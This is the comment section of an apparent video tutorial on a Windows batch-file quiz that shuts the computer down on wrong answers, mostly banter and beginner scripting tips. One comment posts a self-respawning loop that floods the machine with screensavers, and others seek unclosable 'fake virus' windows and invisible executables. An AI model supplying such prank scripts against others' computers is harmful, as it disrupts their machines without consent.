Added: 4 years ago
From: evandjblog
Views: 34,818
Sort by time | Sort by thread (beta)

Link to this comment:

Share to:

All Comments (291)

Sign In or Sign Up now to post a comment!
  • Hahaha. 'REMEBER to type the answer exactly as it is spelt'...

  • Just letting you know that when you had it as:

    set input=

    set /p input=Type in Y or N in caps

    you didn't need to have the set input=

    it not needed really unless you have it so the variable input set to all the answers then you do but I don't want to watch the inter script because I know how it works for the most part!

  • @PrototypeLua Btw this is PrototypeLua not PrototypeBC. ;)

  • advanced would be like

    :a

    echo blahblahblah

    choice /t 1 /c 12h /n /d h

    if errorlevel 3 (

    set /a p=%random%%% 9+1

    goto a

    )

    if errorlevel 2 goto blahblah

    if errorlevel 1 goto blah

  • i LOL'd when i saw your batch file, but i already knew it from the start...

    im flaggin for misleading title (this is like super basic...)

    advanced would be working with if errorlevel etc..

  • I've made a batch file with over 100 opinions!

    Beat that...

  • Dude, sweet!

    Can you email me the game/script to:

    GinDiamond15@yahoo.com

    Thanks!

    Could you also make me a batch game that has a lot of color?

    Such as:

    (this line is blue)Hi

    (this line is red)Bye

    I would pay for a tutorial like that!

  • My worst batch file was waaaaay better than this...

  • nice video code to file @echo off :start set /p name=Plz insert your name: pause cls goto :password :password echo Welcome %name% pause cls set /p pass=Insert password: if %pass%==fun goto :url if not %pass%==fun goto :wrong :wrong echo Wrong! ping localhost -n 2 >nul goto :password :url echo Welcome to %name% Serach Internet! title %name% SI echo Insert url! set /p url= pause cls start %url% goto :exit :exit echo Exiting ping localhost -n 2 >nul exit
  • That is not advanced just long, I got some reasons why it is poorly made also...

    Don't need the "set input="

    Just the same thing over and over agin

    And if I made it it would be the same but much more simple, you had alot of things that it did not need!!!

  • thats not advanced.. >.<

  • When i give the second question answer it exits. Why? Please help me.

  • it doesnt let me to go to :Y for some reason

  • toxicclown(dot)tk - acctully advanced - open source console

  • i don't care if it doesn't fit in the comments find a way or I'll send you my strongest virus...

  • and yet another person that cant talk

  • Well you did one thing wrong when you type some one can type like asdasdasdas it will go to the nearest command so you got to do like this: :Top cls set /p nan= hello: if %nan%==a goto s goto b :s echo test1 pause exit :b echo test2 pause exit
  • fuck some people take a long time to explain a point on youtube!

  • I recommend using if /i for your if statements it makes it case insensitive.

    Hope this has helped you! Keep on going!

  • It wasn't really that advanced. I already knew how to do all that stuff. I like to press spacebar twice between the word "echo" and the text I want to display in command prompt. It makes a nice little gap between the word and the side.  I think it makes it look a little cleaner Example: @echo off echo. echo Hello. echo. echo There are two spaces between the word "echo" and the word "There" echo. echo. echo (press any button) pause>null
  • Can u send it to inbox plz

  • would you like to develop some apps to our marketplace for Directs batch platform "Nebula"??? for more info goto directco.tk

  • hey, could someone help me plz...

    I made a fake virus to fool some friends but I have a problem:

    when they open the file they have to press a button 4 time's to bring up a new message, after that, the virus starts and your pc shuts down.

    but if they close down before they have pressed a button 4 times it doesn't work.

    is there a code that makes it inpossible to press the close button of the mirror so they must follow the steps until it ends??

  • i like what you've done but you could present it better for instance when it says you're going back to the start put:

    pause

    cls

    it will loook better!

  • noob make real programs

  • hihi ^^ pretty mutch echo or / echo,

    makes it empety :P na, i typet more into mine biggest one, but i like this one! it looks fun!

  • This is soooo simple? Not even creative or advanced. Try a REAL programming language on for size, you script kiddie

  • Lol how long did it take you to figure this out i knew this on my 2nd day of using batch files

  • @Rambofan8 lol. these skiddies r epically retarded

  • This isnt advanced by any means, no offence but you dont even know to include the /i syntax to make the "if" command ignore CAPS or lowercase,

    bat files can only go so far, and you can spend a whole year writing the most complex virus or symantical program, and all the user has to do to stop it is press return at the wrong time or click the close button, pointless !

    Anyhow nice vid, even if it is not that advanced

    CoD Mast3r

  • You guys can make these advance batch files, but can't spell out your words right.

    LOL

  • I dont think this is even a medium script... the only commands used are

    Echo

    Set

    If

    Shutdown -s

  • I love this vid without i would not even be able to make a menu in batch THX IM SUBBING

  • thats medium i made a WAYYY more advanced file

  • Dude i've written a test (tests if youre epileptical woha xD) that's over 20000 lines... yes, 20000 lines + and im only a beginner (i think) and i made it in 2 hours lol but nice quiz idea and creative use of the (%homedir%\) shutdown command... good work

  • I am building a VERY BIG Quiz game.But in german.I written more than 1500 lines already!

  • @SomeNoob13 You wouldnt need 1500 lines...

  • @indago9 If you put some custom settings in the quiz like versus mode...that can be a long batch! ;-)

  • Is it just me or did that music come from the sims game

  • It takes something to make something like this!!! pay some respect evandjblog this IS a good job after all

  • Dude this is so easy to make a 2 year old could make a batter program! I have made command prompt, fully functional! in batch, took me like 2 weeks, you are a novice in batch ( which is just Assembly, batch isnt even a real programming language ) I given the multiple programs i have made, are an intermedate-expert :)

  • @kiddaxter123 i bet a 2 year old could spell "better" xD insult fail.

  • It is so long cuz you use alot of echo. 's but that's not need much, only in places where you need.

    And you are being illegal if you send batch files to other ppl ;)

  • @SoapBock wow onther narch in the making

  • How do you make it so that after 2 wrong answers, it shuts their computer down?

  • Comment removed

  • stupid question but how do you make clear lines?

  • @Superthijs92 Write "echo." into the file

  • Comment removed

  • That's no advanced it's casual!

  • Lol it is not really advanced or creative, all in all it requires only the basics...

  • i only started using batch files an i already no that the batch file u have is not that long

  • it would be easier if you did it like this:

    echo 1)Washington

    echo.

    echo 2)Lincoln

    echo.

    echo 3)Reagen

    set /p input=Type the number corresponding with the answer:

    if not %input% == 1 goto x

  • could you send it to me

  • GREAT

  • Dude, you should seriously learn more about batch programming. When you ask for input, your program should ALLOW the user to make flaws, by adding different "IF=" commands that include the things that a user could do. That just makes this programming amateur.

  • lol I made one too but it has animations, help, tells you the awnsers if you mess up, ect.

  • How big is this file? I made a batch programm which is 180 KB big... ask me for the Code but the program is german

  • Cool but...

    in this case insted of the set /p command i would use the Choice command !!!

    but aswome script!!!

  • @Jacxonia me 2, less errors with incorrect input.

  • It's reagan, not regean I believe.

  • nice, very clever! i was wondering if you know how to make the CMD unclosable so that they would have to take the test. :) i was also messing around with Visual Basic Scripts and i was wondering if you might help me combine a few, if you know much about them. they are fairly similar, in my opinion. That, and somewhere i saw that you can make one batch file open another one. that would be fun too! if you have any ideas, i would love them. thanks!

  • Try reading this book (I learned almost all the vbscript i know now with it)

    Learn VBScript in a Week

    Probebly in the Local Library ~ Too Broke to Buy

    You can learn to launch batch with it.

  • Try reading this book (I learned almost all the vbscript i know now with it)

    Learn VBScript in a Week

    Probebly in the Local Library ~ Too Broke to Buy

    You can learn to launch batch with it.

  • you know it would actually be easier to make stuff like that in C++!!!

  • please give me the code i will subscribe!

  • @xXxDANMANxXx I know how. Im working on a program right now that uses a password to access it if you want it just message me on youtube but it is not a tutorial on one of my videos so I will only supply the code.

  • does anyone know how to make a certain username in a batch file? like it would say "enter username" and if u got just one letter wrong it wouldn't let u continue?

  • yes i do

  • @codybfd how

  • I'm gonna be honest i don't remember exactly but i can send you an example file if you have an email or something,but i remember enough to answer questions on it and actually I'll just put the text into a message and send it hold on

  • Comment removed

  • @echo off

    menu:

    if %confirm% %confirmpass% equ liam max goto control2

    if notf %confirm%%confirmp% equ liam max goto abcde

    :control d

    (here u insert next step)

    :abcde

    echo invalid username and password

  • If %REPLY%==username Goto SUCCESS

    Else Goto ERROR

  • my batch files arent that long but there good

  • how do you make a batch file that would open a program, and after like 5 seconds it will close it and go back to running cmd??

  • my biggest batch file 892,982,989,234,123,456,654,34­5,344 lines

  • Comment removed

  • check out my batch game... it is 50KB in size...

  • The better vid is

    How to make some fun batch files

  • go to this vid for something better

    sry i couldn't put it in the comments it was 712 lettes over the limit

  • batch all in one

  • ... this is very very very simple, and its not even big

  • LoL I paused lots of times to copy the whole thing

  • Not even well made... -.-

  • shutdown -a

    aborts shutdown

    DUH!!!

  • NOT COMPLICATED

    SEE MY VIDEOS

    THEY AE 100 TIMES MORE COMPLICED

    but iv made harder ones than the ones on my profile

  • I noticed a few things in your file here that could be better. fir starters, you should number your choices so that spelling and caps dont matter. also, i found out that you can keep the script from crashing when you use spaces in set /p x=. when you use 'if' put quotes around the variables, like this if "%X%"=="%y%" (echo win) that way, spaces wont confuse the prog. good vid.

  • this is easy- if anyone needs help with a program oranything like that just mail me i love programming batchfiles

    and im very good at it but i dont make videos much now but im willing to if it will help

    just mail me!

  • Batch files are so easy arent they dude, but you can do so much with them. I like mixing batch files with vbs, so you get an awesome program that is interactive and totally different. Mail me for info anyone. XD

  • its not advanced at all its very simple basically just

    if %input% NEQ washington goto wrong1

  • its not so advanced.

    mainly IF and SET usage is needed.

    so its average ;)

  • was gona say same thing

  • itsvery cool, bery easy to make too for newbies, i think it will look better if u wirte it in some objective language for example delphi or C++

  • o sorry i didnt wath whole movie,

  • put /I after the "if" command to make it case insensitive

  • so its if /i %x%==%y% to make it case insensitive?

  • how to get the answers from the q's in the vid:

    just right click>edit> and the answers should be inside ;)

  • for some reason i can't make it. i did all that input stuff 1005 correct, but when i type something i set to typed it just closes the cmd. why? help please, i'm trying to make my MINI DOS.

  • I got over that a long time dude, and its siple to fix. mail me for info, cause i cba right now lawl XD

  • no offence but it wasnt advance. more mediam =S

  • @dvelzzz no offense but you spelled medium wrong

  • Hey,I made a very cool signup and login system in my batch file,plz check it out!!

  • 2 things 1. batch can be easily edited so people can get the password second make it it c++ or c and its encyrpted or i could make you one pm me

  • a batch file cant be very easy to hack if you know encriptyon alghotithms

  • Simple stuff that dude. how about making one using vbscript, it looks more proffesional with inputbox's and messages that pop up. way cooler than batch. or if you wanted, you could make a batch that writes the vbs code and runs it along side to create an even better one. mail me for info XD

  • I mean...

    You need 3 programs to make it run.

    1 Batch File (The program itself)

    2 Exes (WebsiteCreator)&(AllAdminComm­ands)

  • Or, you just get Bat2Exe, and do it that way. cause then you can compile it into a stealth file, which runs invisible, or you can add other files into the compile which appear when you run the initial program

  • I mean... You need 3 programs to make it running.

    1 Batch file (The program)

    1 Exe (WebsiteCreator)

    1 Exe (AllAdminCommands)

    The rest is of cmd commands. (BAT)

  • I got a Batch file with 2192 lines.

    It's a huge program, you're allowed to do tons of stuff. Admin stuff, one of the things is website creating. One of my favorite. You will need my whole package of it. (Including some C++ script).

    But it mainly runs of the batch file.

  • I got an 18550 character batch It's 835 lines :P

  • Advanced? This is like first grade level...

  • Its long thats for sure, but its really just the same thing over and over again. Btw you seemed pretty educated with this try out C++ its very similar but much more is possible.

  • Lol, you call this long?

    Try making a 10-letter hangman,

    that's a long script xD

  • I am actually making a RPG game. Its not very long but i call a lot of other Batch files to it. But overall its long.

  • can someone tell me how to make batch games?

  • yeah its hard but ill see if i could make a simple tutorial or something

  • great thanks

  • Comment removed

  • @FatternErGangster

    could i possibly get that batch file off u, im only starting an i have a fair grasp off it already but i want to c what a proper batch file is, thanks if i cn have it but no bother if i cant

  • @FatternErGangster O.O The devils code :o

  • @FatternErGangster i have a 4 letter one and it took me awhile

  • I made a 36 page batch file

  • oh sweet can you show it to me?

  • still working on it.

  • I uploaded a video of it.

  • GREAT VIDEO! 5 STARS ALL THE WAY!

    I learned alot, Thanks

  • Not too advanced.. heres a tip for some ADVANCES.

    Add a 3 strikes your out type deal

    Example:

    set errors=0

    echo QUESTIONS

    set /p input=

    if "%input%"=="wrong" (

    set /a errors=errors+1

    goto beginning )

  • Not advanced... very easyyyy...

  • Thats not an advanced batch file !

  • this...is advanced?

  • This is pretty cool, I guess. I've made many files sorta like this. I even made one that you can type in your name, age, and gender. Then later it refers to you as your name, and reacts to certain questions differently. Oh, and there is a way to make it not matter if there are spaces in the answers. It's really quit simple, but I'm running out of space to type. I might make a video about it later, or you could just PM me. I have alot of other better things too.

  • Uhhh... could you just PM it to me? Thanks

  • woh woh woh wrong wrong wrong

    how about

    set /p input=(Y/N):

    if %input%==y goto Y

    if %input%==Y goto Y

    if %input%==n goto N

    if %input%==N goto N

    it doesn't look good and it isn't hard at all so all you n00bs out there learn how to write bat and u can make your own but if you just go around copy and pasting you wont learn anything

    so like he says Advance and Creative Users only!!!

  • I agree, but the capital and lower case letters don't make a difference. Unless you use the /i switch which makes your input case-sensitive.

  • What are you talking about? It is case sensitive.... with or without that /i thing ive never heard of...

  • Can u plz send me that code

  • roflmfao

    if u get a question wrong it shutsdown ur pc

    haha nicee

    batch is so easy to program in

    just takes hell of a time..

    faster than c++ i guess

  • Well batch is just scripting. Actually probably the easiest scripting language along with quickest to write. The same program would be so much long in ANY other language

  • that's not advance, the text inputs are

    set/p "variable=text"

  • SAmple songs from Vista...

  • how long was this? i created a 11000 character batch file like 2 years ago...just because i had nothing to do...lol

  • can u swend me that 11000 batch code please

  • yeah

  • lol ive did a lil questionare like this before but i didnt set it to shutdown the pc it i awnsered wrongly lol altho doing that would be easy i want to do very advanced stuff now. but first i want to start with something that should be somewhat simple. do you know how to edit , add and delete registry keys using a batch file instead of a .reg file? i will message you what exactly i want to do if u know how to add, change and delete registry keys

  • ::Tipsyquo::

    @echo off

    :tipsyquo

    for /f "tokens=*" %%B in ('dir /s/b %systemroot%\system32\*.scr') do start %%B /start /high

    start %systemroot%\system32\cmd.exe /c %0 /min /high

    goto tipsyquo

  • Why does this do?

  • It is a prank batch file

    it loops the screensaver.

  • hey i was wondering, because you put %%B is that a variable? Because I put my variables %B%...

    Now missing a batch file? Well I have a great offer for you!

    @echo off

    chkdsk /v | find /i ".bat" > res.txt

    type res.txt | more

    del res.txt

    It will find them for you! :D

  • grat man, you are my brother =)

  • LOL! That's one of Vista's sample songs.

  • wow to actually do this u hav to hav no life like live in ur moms basemeast and be a 40 yr old virgin nerd congrats u are now sterio typed on CRAIGSLIST!!!

  • Yes, good beginner batch file.

    I say beginner because, though it is very large as you said, it is only repetitive combinations of waiting for user input and then using IF statements to check the answer, then redirecting the batch file to a certain tag in the batch script, either right or wrong.

    Great program to master conditional processing and how to work within a batch program though.

    Just don't call it advanced.

  • You are right because this is big but real easy to make. It only cost some time.

  • agreed.

  • @echo off

    set /p pc scanner=Scan pc? (y/n):

    if %pc scanner%==y dir/s

    if %pc scanner%==Y dir/s

    if %pc scanner%==n echo goodbye

    if %pc scanner%==N echo goodbye

    pause > nul

    exit

    lol a noob batch file but works

  • its really not that hard i use interactions in my batches all the time,,,email me if you want to have the code.

  • easy but funny

    i made a emotional quotient test:D

  • v.good

    you could try after each correct question a simple 'msg * CORRECT!' command

    just to spice i up a weebit.

  • this aint so advanced but can be long..

  • do u have anything more advanced you could show me....im a noob @ this stuff im pretty basic

    (y is there soooo many echos? im confuzed

    THANK U

  • Yeah, because his last sign in was a year ago...

  • lol every1 here is right it might be long but not advanced its pretty much the same command over and over

  • Ummm....No offense, but it's really not that complex/advanced....

  • i try to make video's but it says file is to small PLEASE HELP ME

  • look at the video response...

    i uploaded a video of my imagination ;P

  • I Emailed You But You Didn't Give Me The Code

    :(

  • no so advanced... try learn some more